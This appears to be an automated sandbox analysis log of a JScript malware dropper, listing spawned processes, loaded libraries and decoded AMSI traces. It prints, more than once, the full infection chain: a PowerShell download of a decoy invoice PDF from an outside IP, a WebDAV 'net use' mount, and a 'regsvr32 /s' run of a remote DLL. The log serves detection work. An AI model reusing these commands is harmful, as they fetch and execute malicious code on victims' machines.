Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,8441464277296318625,12640484241576862725,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\284682375711175.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1596,i,8441464277296318625,12640484241576862725,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5528.js.csv");ITextStream.WriteLine(" entry:8495 f:hbgfipzo");ITextStream.WriteLine(" exec:2 f:hbgfipzo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
